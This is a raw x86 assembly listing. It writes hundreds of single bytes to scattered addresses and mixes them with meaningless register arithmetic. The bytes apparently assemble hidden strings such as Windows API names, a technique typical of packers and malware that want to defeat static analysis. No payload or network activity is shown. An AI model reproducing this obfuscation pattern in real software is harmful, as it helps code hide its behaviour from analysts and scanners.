mov byte [0x1010759c], 0x4f
mov byte [0x10107f11], 0x43
mov byte [0x10107d1a], 0x65
mov byte [0x1010747d], 0x61
mov byte [0x101076c3], 0x72
mov byte [0x10107961], 0x72
mov byte [0x10107a99], 0x73
mov byte [0x101074c1], 0x6c
mov byte [0x1010756c], 0x65
mov byte [0x101079e2], 0x54
mov byte [0x10107822], 0x57
mov byte [0x10107678], 0x74
mov byte [0x10107514], 0x62
lea ecx, [eax - 0x7ab16677]
mov byte [0x101075ee], 0x65
mov byte [0x101079fc], 0x79
mov byte [0x101073fa], 0x65
mov byte [0x10107b59], 0x50
mov byte [0x10107731], 0
mov byte [0x101076c5], 0x63
mov byte [0x10107cbe], 0x6f
mov byte [0x101073ea], 0x50
mov byte [0x10107a49], 0x64
mov byte [0x10107525], 0x6b
mov byte [0x10107bb6], 0x44
mov byte [0x10107c5b], 0x72
mov byte [0x10107e0c], 0x4f
mov byte [0x10107881], 0x65
mov byte [0x10107ba5], 0
mov byte [0x10107b93], 0x49
mov byte [0x10107e1a], 0x6f
mov byte [0x10107c3b], 0x54
mov byte [0x10107bd1], 0x6c
mov byte [0x10107993], 0x6c
mov byte [0x1010736b], 0x74
sub esi, edi
mov byte [0x1010763d], 0x41
mov byte [0x10107fb6], 0x53
mov byte [0x101076d5], 0x6f
mov byte [0x1010752c], 0x65
mov byte [0x10107e74], 0x65
mov byte [0x10107593], 0x55
mov byte [0x10107755], 0x69
mov byte [0x101077aa], 0x74
mov byte [0x101078fc], 0x62
mov byte [0x10107b48], 0x77
mov byte [0x10107584], 0
mov byte [0x10107d5e], 0x6d
mov byte [0x10107407], 0x64
mov byte [0x101076a9], 0x63
mov byte [0x101073e6], 0x64
mov byte [0x1010754e], 0x6c
mov byte [0x10107fa9], 0x45
mov byte [0x10107bd0], 0x6c
mov byte [0x10107cd5], 0x6c
mov byte [0x101075b7], 0x4d
mov byte [0x10107ea9], 0x50
mov byte [0x10107d44], 0x74
mov byte [0x10107ca1], 0x65
mov byte [0x1010757b], 0x65
mov byte [0x10107bc6], 0x61
mov byte [0x101076fd], 0x56
mov byte [0x10107845], 0x74
mov byte [0x10107768], 0x44
mov byte [0x101078c4], 0x65
mov byte [0x10107325], 0x77
mov byte [0x10107a20], 0x72
mov byte [0x10107496], 0x47
mov byte [0x101079c5], 0x6d
mov byte [0x10107500], 0x67
mov byte [0x10107bf8], 0x74
lea eax, [ebp + 0x4f1384a9]
and eax, ecx
imul eax, eax, 0xa96df0e6
mov byte [0x10107de4], 0x75
mov byte [0x10107ee0], 0x53
mov byte [0x10107b47], 0x6f
mov byte [0x10107626], 0x57
mov byte [0x101077b8], 0x46
mov byte [0x10107d64], 0x45
mov byte [0x101074e1], 0x74
mov byte [0x10107698], 0x61
mov byte [0x10107c2a], 0x65
mov byte [0x10107865], 0x61
mov byte [0x10107eb7], 0x41
mov byte [0x1010784d], 0x73
mov byte [0x10107524], 0x63
mov byte [0x1010744d], 0x6c
mov byte [0x1010780e], 0x6c
mov byte [0x10107d9f], 0x57
mov byte [0x10107f2b], 0x69
mov byte [0x10107bf3], 0x75
mov byte [0x101074d2], 0x47
mov byte [0x10107759], 0x53
mov byte [0x10107897], 0x65
mov byte [0x10107e58], 0x63
mov byte [0x10107505], 0x42
mov byte [0x101078b6], 0x72
mov byte [0x10107ba7], 0x6f
mov byte [0x10107ac4], 0x69
mov byte [0x1010789c], 0x74
mov byte [0x10107620], 0x33
mov byte [0x10107b6d], 0x65
mov byte [0x10107942], 0x64
mov byte [0x10107fd7], 0x53
mov byte [0x10107a0b], 0x75
mov byte [0x101075ce], 0x69
mov byte [0x101076b1], 0
mov byte [0x10107f79], 0x6c
mov byte [0x10107415], 0x64
mov byte [0x10107947], 0x78
mov byte [0x10107e4b], 0
mov byte [0x10107d30], 0
mov byte [0x1010735e], 0x47
mov byte [0x10107540], 0x72
mov byte [0x10107625], 0x74
mov byte [0x10107ce6], 0x72
mov byte [0x101074b0], 0x48
mov byte [0x10107d0b], 0x65
mov byte [0x10107a15], 0x6d
xor esi, 0x616e6e5e
mov byte [0x10107ef1], 0x65
mov byte [0x101079f9], 0x74
mov byte [0x101073da], 0x72
mov byte [0x10107416], 0x43
mov byte [0x1010798a], 0x65
mov byte [0x101076bf], 0x70
mov byte [0x101073ac], 0x6f
mov byte [0x101077b3], 0
mov byte [0x10107f63], 0x65
mov byte [0x101076e5], 0x45
mov byte [0x10107457], 0x61
mov byte [0x10107ddd], 0x67
mov byte [0x10107c7b], 0x50
mov byte [0x101074f6], 0x44
mov byte [0x101079a4], 0x63
mov byte [0x10107afb], 0x74
mov byte [0x10107432], 0x6f
mov byte [0x1010762d], 0x65
mov byte [0x10107f3b], 0x74
mov byte [0x10107e8e], 0x65
mov byte [0x10107730], 0x70
mov byte [0x10107552], 0x6c
mov byte [0x10107652], 0
mov byte [0x10107b90], 0x61
mov byte [0x10107de5], 0x65
mov byte [0x1010764d], 0x74
mov byte [0x10107afe], 0x6e
mov byte [0x10107be4], 0x61
mov byte [0x1010760a], 0x72
mov byte [0x1010740a], 0x53
mov byte [0x1010792a], 0x6c
xor ebx, 0xb4083ba2
mov ebp, ebx
and ebp, eax
or ebp, 0xa045e279
add ebp, ebx
mov byte [0x10107d49], 0x67
mov byte [0x10107cef], 0x74
mov byte [0x10107ebb], 0x6a
mov byte [0x101079b6], 0x65
mov byte [0x10107bc5], 0x73
mov byte [0x10107b07], 0x74
mov byte [0x1010799f], 0x69
mov byte [0x101078cd], 0x79
mov byte [0x101074c8], 0x74
mov byte [0x10107d57], 0x65
mov byte [0x10107b06], 0x6e
mov byte [0x1010760b], 0x6f
mov byte [0x10107816], 0x4d
mov byte [0x10107353], 0
mov byte [0x10107c98], 0x65
mov byte [0x10107482], 0x66
mov byte [0x1010742e], 0x69
mov byte [0x10107a37], 0x45
mov byte [0x10107e37], 0x65
mov byte [0x10107952], 0x74
mov byte [0x1010783e], 0x79
mov byte [0x1010773d], 0x61
mov byte [0x10107ab3], 0x72
mov byte [0x1010744e], 0x69
mov byte [0x101075f9], 0x6c
mov byte [0x10107e65], 0x69
mov byte [0x10107388], 0x6e
mov byte [0x10107812], 0x6d
mov byte [0x10107f9b], 0x6c
mov byte [0x10107aa9], 0x74
mov byte [0x101075fb], 0x65
mov byte [0x10107e8d], 0x67
mov byte [0x101077f7], 0
mov byte [0x10107682], 0x79
mov byte [0x10107918], 0x53
mov byte [0x10107f0f], 0x57
mov byte [0x1010743c], 0x50
mov byte [0x10107f4f], 0x6a
mov byte [0x10107e89], 0x4d
mov byte [0x10107a02], 0x75
mov byte [0x10107f0a], 0x79
mov byte [0x10107ff8], 0x6c
mov byte [0x10107aea], 0x4d
mov byte [0x1010732c], 0x6f
mov byte [0x101074be], 0x65
mov byte [0x101073e2], 0x65
mov byte [0x10107879], 0x79
mov byte [0x10107cc4], 0x77
mov byte [0x10107fca], 0x41
mov byte [0x10107beb], 0x73
mov byte [0x10107f68], 0x6d
mov byte [0x10107fd3], 0x64
mov byte [0x101079f3], 0x65
mov byte [0x1010746b], 0x74
mov byte [0x10107ff4], 0x32
mov byte [0x10107bd3], 0x69
mov byte [0x10107356], 0x49
mov byte [0x101073a9], 0x65
mov byte [0x101076d9], 0x73
mov byte [0x101074f2], 0x74
mov byte [0x10107454], 0x74
mov byte [0x10107f95], 0x4e
mov byte [0x10107d40], 0x6f
mov byte [0x1010766f], 0x6f
mov byte [0x1010766a], 0x69
mov byte [0x10107c54], 0x6f
and ebp, ebx
mov byte [0x10107e5f], 0x67
mov byte [0x10107b5a], 0x72
mov byte [0x10107fb4], 0
mov byte [0x10107d2c], 0x6f
mov byte [0x101078de], 0x65
mov byte [0x101073de], 0x43
mov byte [0x10107d29], 0x6f
mov byte [0x10107873], 0x4d
mov byte [0x10107333], 0x69
imul ecx, edi
and ecx, 0x1000400
or ecx, 0x727ffade
mov byte [0x10107d2b], 0x4c
mov byte [0x10107d12], 0x64
mov byte [0x10107e67], 0x65
mov byte [0x101073dd], 0x74
mov byte [0x101076ca], 0x54
mov byte [0x10107412], 0x55
mov byte [0x101073d2], 0x73
mov byte [0x10107796], 0x72
mov byte [0x101077ca], 0x43
mov byte [0x10107e6e], 0x41
mov byte [0x10107710], 0x75
mov byte [0x10107ef4], 0x6f
mov byte [0x10107ceb], 0x74
mov byte [0x101073d9], 0x65
mov byte [0x10107a91], 0x6e
mov byte [0x10107a42], 0
mov byte [0x10107a98], 0x67
mov byte [0x10107695], 0
mov byte [0x10107c95], 0x61
mov byte [0x101077bf], 0x6f
mov byte [0x101078dc], 0x73
mov byte [0x1010755b], 0x72
mov byte [0x101073b2], 0x41
mov byte [0x101074ac], 0x6e
mov byte [0x10107b94], 0x63
mov byte [0x10107d01], 0x6f
mov byte [0x10107542], 0x6d
mov byte [0x101077f3], 0x75
mov byte [0x10107dbb], 0x65
mov byte [0x10107ae5], 0x65
mov byte [0x10107f01], 0x65
mov byte [0x101076b6], 0x4c
mov byte [0x10107c67], 0x75
mov byte [0x10107b73], 0x4d
mov byte [0x1010781f], 0x78
mov byte [0x10107395], 0x49
mov byte [0x1010742a], 0x41
mov byte [0x101079a8], 0x69
mov byte [0x101073ae], 0x6e
mov byte [0x1010795c], 0x74
mov byte [0x10107341], 0x74
mov byte [0x10107e5c], 0x68
mov byte [0x101077fb], 0x54
mov byte [0x1010761e], 0x73
mov byte [0x10107eb0], 0x67
mov byte [0x10107c8a], 0x6e
mov byte [0x10107cb8], 0x69
mov dword [0x10105368], ecx
mov byte [0x10107f2f], 0x6c
mov byte [0x101073a1], 0x41
mov byte [0x10107caf], 0x6e
mov byte [0x10107826], 0x65
mov byte [0x10107843], 0x65
mov byte [0x101075d6], 0x57
mov byte [0x10107426], 0x46
mov byte [0x101074cc], 0x41
mov byte [0x101077ff], 0x50
mov byte [0x10107c25], 0x67
lea edi, [ecx + 0x58272663]
mov byte [0x10107742], 0x74
mov byte [0x10107a04], 0x6c
mov byte [0x10107cd1], 0x74
mov byte [0x10107fee], 0x4c
mov byte [0x10107774], 0x67
mov byte [0x10107b83], 0x74
mov byte [0x1010763c], 0x69
mov byte [0x10107786], 0x61
mov byte [0x10107492], 0x61
mov byte [0x10107f51], 0x63
mov byte [0x10107cb5], 0x65
mov byte [0x10107910], 0x69
mov byte [0x10107534], 0x74
mov byte [0x10107967], 0x72
mov byte [0x10107586], 0x61
mov byte [0x10107dfc], 0x65
mov byte [0x10107f7c], 0x53
mov byte [0x101074f7], 0x65
mov byte [0x10107fc5], 0x2e
mov ebx, esi
imul ebx, ebx, 0xb699964d
mov eax, ebp
mov edx, ebx
xor eax, 0x72e83f4e
or ecx, edi
and edx, esi
mov byte [0x10107ec6], 0x69
mov byte [0x10107a95], 0x72
mov byte [0x101077bd], 0
mov byte [0x101078a9], 0x6c
mov byte [0x101076fa], 0x49
mov byte [0x1010747a], 0x4c
mov byte [0x10107946], 0x45
mov byte [0x10107670], 0x72
mov byte [0x10107fea], 0x6c
mov byte [0x1010768b], 0x44
mov byte [0x10107f65], 0x75
mov byte [0x101079a2], 0x45
mov byte [0x1010743e], 0x61
mov byte [0x101075bb], 0
mov byte [0x10107cc0], 0
mov byte [0x101076eb], 0x74
mov byte [0x10107ecc], 0x65
mov byte [0x10107f94], 0x49
mov byte [0x10107e39], 0x61
mov byte [0x10107edd], 0x68
mov byte [0x10107b8e], 0x72
mov byte [0x101079dd], 0x73
mov byte [0x101073f2], 0x69
mov byte [0x10107633], 0x64
mov byte [0x10107410], 0x41
mov byte [0x101074ae], 0x6f
mov byte [0x10107c72], 0x75
mov byte [0x10107ad8], 0
mov byte [0x10107855], 0x65
mov byte [0x101079f5], 0x70
mov byte [0x10107801], 0x74
mov byte [0x10107e8c], 0x61
mov byte [0x10107488], 0x56
mov byte [0x101078f4], 0x64
mov byte [0x10107344], 0x74
mov byte [0x10107bc2], 0x4d
mov byte [0x10107ffc], 0x72
mov byte [0x101079b5], 0x48
mov byte [0x10107d3b], 0x6e
mov byte [0x10107c14], 0x67
mov byte [0x10107a16], 0x61
mov byte [0x10107b3e], 0x77
mov byte [0x10107df9], 0x57
mov byte [0x1010745e], 0x6f
mov byte [0x10107ac8], 0x57
mov byte [0x10107555], 0x61
mov byte [0x10107820], 0x57
mov byte [0x101073eb], 0x61
mov byte [0x10107ddb], 0x52
mov byte [0x101074ce], 0x6c
mov byte [0x10107f2a], 0x6e
mov byte [0x10107af2], 0x67
mov byte [0x10107ed5], 0x6f
mov byte [0x10107b37], 0x6e
mov byte [0x10107b0d], 0x74
mov byte [0x10107969], 0x65
mov byte [0x10107660], 0x65
mov byte [0x10107a68], 0x49
mov byte [0x101076a3], 0x47
mov byte [0x10107a29], 0x69
mov byte [0x101079f4], 0x61
mov byte [0x10107587], 0x70
mov byte [0x1010789d], 0x68
xor eax, 0xe55b6e34
mov byte [0x10107a39], 0x69
mov byte [0x10107753], 0x69
mov byte [0x101074ab], 0x49
mov byte [0x101077d7], 0x57
mov byte [0x10107be0], 0x4d
mov byte [0x10107d9b], 0
mov byte [0x10107d05], 0x6e
mov byte [0x101076b2], 0x46
mov byte [0x10107cbc], 0x77
mov byte [0x101073f1], 0x62
add edi, edi
or edi, dword [0x10105368]
mov esi, edx
add edi, ebx
mov byte [0x10107dd1], 0x79
mov byte [0x10107dec], 0x67
mov byte [0x10107b6b], 0x61
mov byte [0x10107e31], 0x67
mov byte [0x1010778b], 0x61
mov byte [0x1010754b], 0x6f
mov byte [0x10107da2], 0x64
mov byte [0x10107da7], 0x6f
mov byte [0x10107a4a], 0x6c
mov byte [0x10107db7], 0x63
mov byte [0x10107a3f], 0x65
mov byte [0x101073bd], 0x65
mov byte [0x10107589], 0x69
mov byte [0x101074a7], 0x65
mov byte [0x101076cc], 0x72
mov byte [0x10107736], 0x65
mov byte [0x10107f0c], 0x63
mov byte [0x101076c7], 0x73
mov byte [0x10107408], 0x54
mov byte [0x101073fd], 0x74
mov byte [0x10107e69], 0x6f
mov byte [0x10107737], 0x43
mov byte [0x1010799d], 0x52
mov byte [0x10107f87], 0
mov byte [0x10107b71], 0x65
mov byte [0x101079c1], 0x74
mov byte [0x10107b3c], 0x64
mov byte [0x101073bf], 0x75
mov byte [0x10107a48], 0x6e
mov byte [0x101073ed], 0x68
mov byte [0x10107436], 0x72
mov byte [0x10107513], 0x6f
sub esi, edi
mov byte [0x101077c4], 0x6c
mov byte [0x10107cdc], 0
mov byte [0x10107c11], 0
mov byte [0x101079d3], 0x79
mov byte [0x1010787d], 0x6f
mov byte [0x10107c00], 0x73
mov byte [0x101073cc], 0x64
mov byte [0x10107dc6], 0x45
mov byte [0x10107846], 0x65
mov byte [0x10107809], 0x65
mov byte [0x10107c9d], 0x6f
mov byte [0x10107a21], 0
mov byte [0x101078ca], 0x76
mov byte [0x10107437], 0x69
mov byte [0x101079f2], 0x48
mov byte [0x10107e38], 0x56
mov byte [0x1010761a], 0x72
mov byte [0x10107d8a], 0
mov byte [0x101079a3], 0x78
mov byte [0x10107af0], 0x69
mov byte [0x10107348], 0x74
mov byte [0x10107875], 0x6c
mov byte [0x10107b74], 0x65
mov byte [0x10107ed2], 0x65
mov byte [0x1010772b], 0
mov byte [0x10107f05], 0x4e
mov byte [0x10107784], 0x65
mov byte [0x10107922], 0x65
mov byte [0x10107d95], 0x6d
mov byte [0x10107ef9], 0x50
mov byte [0x1010753a], 0x6b
mov byte [0x10107e7f], 0x64
mov byte [0x10107f8a], 0x43
mov byte [0x1010776f], 0x55
mov byte [0x101077af], 0x50
mov byte [0x101076fc], 0
mov byte [0x10107c1f], 0x77
mov byte [0x101074a4], 0x50
mov byte [0x10107a1b], 0x6f
mov byte [0x10107db9], 0
mov byte [0x10107805], 0x47
mov byte [0x10107ee8], 0x63
mov byte [0x1010743f], 0x79
mov byte [0x10107c7a], 0x65
xor edx, edi
lea ebx, [eax - 0x48db51e]
xor edx, ecx
or eax, ebp
imul eax, edx
xor esi, edi
mov edi, esi
and edi, edx
xor eax, ebx
mov byte [0x10107bb1], 0x64
mov byte [0x10107bf7], 0x73
mov byte [0x1010756e], 0x69
mov byte [0x1010784c], 0x73
mov byte [0x10107523], 0x6f
mov byte [0x101077a6], 0x42
mov byte [0x10107a56], 0x69
mov byte [0x10107d7b], 0x74
mov byte [0x1010734e], 0x61
mov byte [0x101077a1], 0x49
mov byte [0x1010776e], 0x74
mov byte [0x10107b1e], 0x75
mov byte [0x1010759a], 0x65
mov byte [0x10107994], 0x65
mov byte [0x10107597], 0x70
mov byte [0x10107ce0], 0x64
mov byte [0x101073fe], 0x65
mov byte [0x10107bea], 0x65
mov byte [0x10107367], 0x6e
mov byte [0x10107338], 0x43
mov byte [0x10107b9b], 0x52
mov byte [0x10107d74], 0x65
mov byte [0x10107bd8], 0x44
mov byte [0x10107a62], 0x74
mov byte [0x101073bb], 0x6e
mov byte [0x1010733d], 0x65
mov byte [0x10107a41], 0x73
mov byte [0x10107923], 0x74
mov byte [0x101075c7], 0x74
mov byte [0x10107a8a], 0x76
mov byte [0x10107887], 0x44
mov byte [0x10107a71], 0x65
mov byte [0x101076ab], 0x64
mov byte [0x1010751a], 0x6f
mov byte [0x101076f3], 0x50
mov byte [0x10107686], 0x65
mov byte [0x10107430], 0x46
mov byte [0x10107dda], 0
mov byte [0x10107e24], 0x44
mov edx, eax
mov byte [0x1010751b], 0x63
mov byte [0x10107398], 0x65
mov byte [0x1010799e], 0x61
mov byte [0x10107f52], 0x74
mov byte [0x10107890], 0x65
mov byte [0x101073f0], 0x6d
mov byte [0x10107e19], 0x6c
mov byte [0x10107a24], 0x74
mov byte [0x10107aa6], 0x6d
mov byte [0x10107b13], 0x65
mov byte [0x10107368], 0
mov byte [0x10107669], 0x44
mov byte [0x101079b4], 0
mov byte [0x10107837], 0x69
mov byte [0x1010765a], 0x69
mov byte [0x101078b5], 0x75
mov byte [0x10107cd9], 0x45
mov byte [0x10107882], 0x43
mov byte [0x10107aaf], 0x67
mov byte [0x10107bf5], 0x50
mov byte [0x101075f2], 0x65
mov byte [0x10107c6e], 0x74
mov byte [0x1010749f], 0x47
mov byte [0x101076e6], 0x78
mov byte [0x10107681], 0x72
mov byte [0x10107f30], 0x69
mov byte [0x10107e8f], 0x72
mov byte [0x1010737d], 0x74
mov byte [0x1010789a], 0x50
mov byte [0x10107add], 0x74
mov byte [0x10107abb], 0x6f
mov byte [0x1010776c], 0x75
mov eax, edi
imul eax, esi
and eax, ecx
xor ecx, 0xa2006e54
or ecx, ebx
imul ecx, ebx
sub eax, edi
and ecx, edx
sub eax, 0x3fb05141
mov byte [0x10107e2a], 0x4b
mov byte [0x10107ca6], 0x65
mov byte [0x1010795a], 0x61
mov byte [0x101079d7], 0x6d
mov byte [0x10107614], 0x72
mov byte [0x10107d5d], 0x65
mov byte [0x1010783c], 0x6f
mov byte [0x10107b4a], 0x47
mov byte [0x10107571], 0
mov byte [0x10107e0f], 0x6e
mov byte [0x10107bd4], 0x6d
mov byte [0x10107cb9], 0x6e
mov byte [0x10107be1], 0x65
mov byte [0x10107b5b], 0x6f
mov byte [0x1010763e], 0
mov byte [0x10107c9c], 0x64
mov byte [0x101077c6], 0x45
mov byte [0x10107b10], 0x61
mov byte [0x101078d0], 0x65
mov byte [0x1010769b], 0x69
mov byte [0x10107ecd], 0x73
mov byte [0x10107862], 0x65
mov byte [0x10107615], 0x73
mov byte [0x10107cd3], 0x72
mov byte [0x101078a4], 0x65
mov byte [0x10107658], 0x65
mov byte [0x101076b8], 0x62
mov byte [0x10107cf3], 0x65
mov byte [0x10107a40], 0x73
mov byte [0x10107366], 0x6f
mov byte [0x10107ac2], 0x74
mov byte [0x10107a88], 0x45
mov byte [0x1010781b], 0x69
mov byte [0x1010738e], 0x64
mov byte [0x10107868], 0x6f
mov byte [0x10107cba], 0x64
mov byte [0x10107647], 0x6d
mov byte [0x10107764], 0x55
mov byte [0x1010734a], 0x72
mov byte [0x1010788c], 0x65
mov byte [0x10107c80], 0x4d
mov byte [0x101075d5], 0x65
mov byte [0x10107dd2], 0x56
mov byte [0x101078c3], 0x47
mov byte [0x1010797e], 0x63
mov byte [0x10107dea], 0x52
mov byte [0x101078d1], 0x6d
mov byte [0x1010741f], 0x63
mov byte [0x101079ed], 0x65
mov byte [0x10107364], 0x73
mov byte [0x10107b8c], 0
mov byte [0x10107d6f], 0x74
mov byte [0x10107e91], 0
mov byte [0x101075ca], 0x69
mov byte [0x10107ca0], 0x53
mov byte [0x1010750f], 0x72
mov byte [0x10107efc], 0x68
mov byte [0x10107565], 0
mov byte [0x10107e4a], 0x41
mov byte [0x101074df], 0x47
or ecx, ebx
mov byte [0x10107529], 0x6e
mov byte [0x10107b44], 0x69
mov byte [0x10107598], 0x56
mov byte [0x10107756], 0x63
mov byte [0x10107bbe], 0x79
mov byte [0x1010744a], 0x74
mov byte [0x10107e9f], 0x6b
mov byte [0x10107c17], 0x74
mov byte [0x10107aba], 0x72
mov byte [0x10107b30], 0x77
mov byte [0x10107328], 0x6f
lea ebp, [eax + 0x525b2826]
or eax, esi
mov byte [0x10107392], 0x74
imul eax, eax, 0x63a5731e
mov byte [0x101077e2], 0x6c
mov byte [0x10107a2d], 0x61
mov byte [0x101077dd], 0x72
mov byte [0x10107fbe], 0x6c
mov byte [0x10107d3f], 0x6c
mov byte [0x10107632], 0x61
mov byte [0x10107884], 0x61
mov byte [0x10107c34], 0x74
mov byte [0x10107ae3], 0x79
mov byte [0x10107703], 0x6c
mov byte [0x1010796b], 0x54
mov byte [0x101074bc], 0x70
mov byte [0x10107e6c], 0x69
mov byte [0x101073c8], 0x70
mov byte [0x10107606], 0x6f
mov byte [0x10107322], 0x4c
mov byte [0x101075ed], 0x73
mov byte [0x10107d4d], 0x6e
mov byte [0x10107550], 0x46
mov byte [0x10107cd6], 0x61
mov byte [0x10107ea5], 0x6f
mov byte [0x10107c7f], 0x70
mov byte [0x1010795b], 0x73
mov byte [0x10107f6c], 0x64
mov byte [0x10107c2b], 0x74
mov byte [0x10107903], 0x72
mov byte [0x10107806], 0x65
mov byte [0x10107365], 0x69
mov byte [0x10107d4c], 0x75
mov byte [0x10107fad], 0x4c
mov byte [0x10107c93], 0x45
mov byte [0x10107e32], 0x44
mov byte [0x101079d8], 0x54
mov byte [0x10107bc8], 0x65
mov byte [0x101076ea], 0x65
mov byte [0x1010757a], 0x6c
mov byte [0x101076c4], 0x6f
mov byte [0x10107df0], 0x72
mov byte [0x10107859], 0x63
mov byte [0x101079ee], 0x61
mov byte [0x1010772d], 0x6c
mov byte [0x101077d9], 0x69
mov byte [0x101075d2], 0x46
mov byte [0x10107c65], 0x65
mov byte [0x10107bff], 0x73
mov byte [0x101076d1], 0x74
mov byte [0x10107960], 0x6f
mov byte [0x10107e1f], 0x79
mov byte [0x10107f0b], 0x49
mov byte [0x10107abd], 0x6d
mov byte [0x10107a12], 0x66
mov byte [0x10107aee], 0x74
mov byte [0x10107cde], 0x6f
mov byte [0x10107dab], 0x47
mov byte [0x10107abe], 0x65
mov byte [0x10107ad7], 0x41
mov byte [0x10107fe7], 0x32
mov byte [0x101074a2], 0x41
mov byte [0x10107848], 0x72
mov byte [0x10107476], 0
mov byte [0x10107cb6], 0x74
mov byte [0x10107b0e], 0x69
mov byte [0x10107e53], 0x53
mov byte [0x10107b4f], 0x6e
mov byte [0x10107c18], 0x65
mov byte [0x10107991], 0x64
mov byte [0x10107d2f], 0x41
mov byte [0x101074c9], 0x75
mov byte [0x10107f13], 0x65
mov byte [0x10107b04], 0x79
mov byte [0x10107423], 0x69
mov byte [0x1010753d], 0x44
mov byte [0x10107b7c], 0x54
mov byte [0x10107c6a], 0x6e
mov byte [0x101077e7], 0x65
mov byte [0x10107b50], 0x64
mov byte [0x10107acd], 0x53
mov esi, eax
imul esi, eax
and ecx, ebx
add esi, ebx
or ecx, esi
mov edi, ecx
lea ecx, [ebp + ebp]
mov byte [0x10107e4d], 0x6f
mov byte [0x10107bcb], 0x78
mov byte [0x10107f53], 0
mov byte [0x1010733c], 0x74
mov byte [0x101075ae], 0
mov byte [0x101075ec], 0x6f
mov byte [0x10107959], 0x4c
mov byte [0x1010753c], 0x64
mov byte [0x101077a7], 0x61
mov byte [0x10107d17], 0x41
mov byte [0x10107b81], 0x6c
mov byte [0x10107713], 0x46
mov byte [0x10107df7], 0x65
mov byte [0x101076f1], 0x6e
mov byte [0x101078ff], 0x67
mov byte [0x101073d7], 0x6e
mov byte [0x10107b42], 0x73
mov byte [0x10107711], 0x61
mov byte [0x1010762b], 0x61
mov byte [0x10107b51], 0x6f
mov byte [0x101077cf], 0x65
mov byte [0x10107659], 0x46
mov byte [0x10107b01], 0
mov byte [0x10107976], 0
mov byte [0x101076b5], 0x65
mov byte [0x10107847], 0x50
mov byte [0x101074bb], 0x61
mov byte [0x1010783b], 0x74
mov byte [0x10107874], 0x75
mov byte [0x101078ad], 0x6d
mov byte [0x10107c64], 0x4d
mov byte [0x10107964], 0x6c
mov byte [0x10107cda], 0x78
mov byte [0x101078c8], 0x74
mov byte [0x101077b4], 0x43
mov byte [0x101079e6], 0
mov byte [0x10107d0f], 0x57
mov byte [0x101073aa], 0x74
mov byte [0x10107f98], 0x2e
mov byte [0x10107dd0], 0x72
mov byte [0x10107c31], 0
mov byte [0x10107d5b], 0x73
mov edx, eax
mov byte [0x10107e2b], 0x65
mov byte [0x10107447], 0x49
mov byte [0x10107f2c], 0x74
mov byte [0x10107ea1], 0x6e
mov byte [0x10107692], 0x72
mov byte [0x10107c45], 0x61
mov byte [0x10107e11], 0x65
mov byte [0x101076f2], 0x74
mov byte [0x101077ae], 0x67
mov byte [0x10107629], 0x72
mov byte [0x101076e8], 0
mov byte [0x10107aeb], 0x61
mov byte [0x101077db], 0x46
mov byte [0x10107a23], 0x6e
mov byte [0x10107dc9], 0
mov byte [0x10107582], 0x67
mov byte [0x10107827], 0x46
mov dword [0x10103e64], ecx
mov byte [0x10107be2], 0x73
mov byte [0x10107f1d], 0x4f
mov byte [0x10107677], 0x61
mov byte [0x101078b2], 0x65
mov byte [0x10107b8d], 0x43
mov byte [0x10107a85], 0x72
mov byte [0x101073cb], 0x6e
mov byte [0x10107cb3], 0
mov byte [0x101079d6], 0x65
mov byte [0x10107a17], 0x6e
mov byte [0x1010743b], 0
mov byte [0x101077cc], 0x65
mov byte [0x1010776b], 0x61
and esi, 0x2b344836
mov ecx, edi
sub ecx, esi
add esi, edi
mov byte [0x10107b17], 0x6f
mov byte [0x101078ef], 0x74
mov byte [0x10107386], 0x43
mov byte [0x10107656], 0x61
mov byte [0x10107a05], 0x46
mov byte [0x10107463], 0x53
mov byte [0x101075c2], 0x6b
mov byte [0x10107771], 0x4c
mov byte [0x10107a9d], 0x65
mov byte [0x101079f8], 0x73
mov byte [0x10107754], 0x74
mov byte [0x10107866], 0x72
mov byte [0x10107834], 0x77
mov byte [0x1010753f], 0x63
mov byte [0x10107cf2], 0x4d
mov byte [0x10107a70], 0x6c
mov byte [0x10107e4f], 0x74
mov byte [0x1010746d], 0x52
mov dword [esp + 0x18], esi
mov byte [0x10107e71], 0x6c
mov byte [0x10107c63], 0x70
mov byte [0x10107eda], 0x50
mov byte [0x10107b87], 0x73
mov byte [0x101079b2], 0x65
mov byte [0x10107762], 0x65
mov byte [0x10107d80], 0
mov byte [0x10107578], 0x46
mov byte [0x10107d5c], 0x74
mov byte [0x10107b72], 0x74
mov byte [0x101076a2], 0
mov byte [0x101074b5], 0x69
mov byte [0x10107c58], 0x73
mov byte [0x1010746a], 0x6e
mov byte [0x10107fe4], 0x6c
mov byte [0x10107efa], 0x61
mov byte [0x10107532], 0x49
mov byte [0x10107a2b], 0x69
mov byte [0x10107480], 0x49
mov byte [0x10107e16], 0x65
mov byte [0x10107b08], 0x65
mov byte [0x101074e7], 0x65
mov byte [0x1010768a], 0x65
mov byte [0x1010773c], 0x63
mov edi, ecx
mov byte [0x10107c89], 0x69
mov byte [0x10107925], 0x6e
mov byte [0x10107c43], 0x73
mov byte [0x10107fa3], 0x2e
mov byte [0x101075e0], 0x46
mov byte [0x10107a82], 0x6e
mov byte [0x10107657], 0x74
mov byte [0x1010762e], 0x54
mov byte [0x101076dc], 0x65
mov byte [0x10107617], 0x57
mov byte [0x10107ade], 0x72
mov byte [0x10107f9c], 0
mov byte [0x10107b28], 0x69
mov byte [0x10107d6e], 0x49
mov byte [0x101078bf], 0x65
mov byte [0x101077fd], 0x6d
mov byte [0x10107f32], 0x65
mov byte [0x10107b76], 0x73
mov byte [0x10107ccf], 0x69
mov byte [0x10107a58], 0x65
mov byte [0x10107e13], 0x41
mov byte [0x10107a89], 0x6e
mov byte [0x1010770c], 0x56
mov byte [0x101077c3], 0x69
mov byte [0x10107faf], 0x32
mov byte [0x10107939], 0x74
mov byte [0x10107d0e], 0x65
mov byte [0x1010738c], 0x74
mov byte [0x10107ba3], 0x45
mov byte [0x10107350], 0x6c
mov byte [0x10107433], 0x6d
mov byte [0x10107ab7], 0x6e
mov byte [0x10107ccb], 0
neg ecx
xor ecx, 0xb3e73bb7
mov esi, ecx
mov ecx, edi
imul ecx, edi
mov ebx, 0xc540e455
sub ebx, ebp
and ebx, dword [0x10103e64]
mov ebp, edi
or ebp, dword [esp + 0x18]
sub ebx, eax
or ecx, esi
or ebx, 0x38acad58
mov byte [0x10107b4c], 0x74
mov byte [0x10107909], 0
mov byte [0x101074c6], 0x69
mov byte [0x10107aae], 0x6e
mov byte [0x10107f03], 0x6c
mov byte [0x101077fc], 0x65
mov byte [0x10107861], 0x64
mov byte [0x10107be9], 0x44
mov byte [0x10107a55], 0x46
mov byte [0x10107819], 0x65
mov byte [0x10107399], 0x72
mov byte [0x10107566], 0x47
mov byte [0x10107460], 0x41
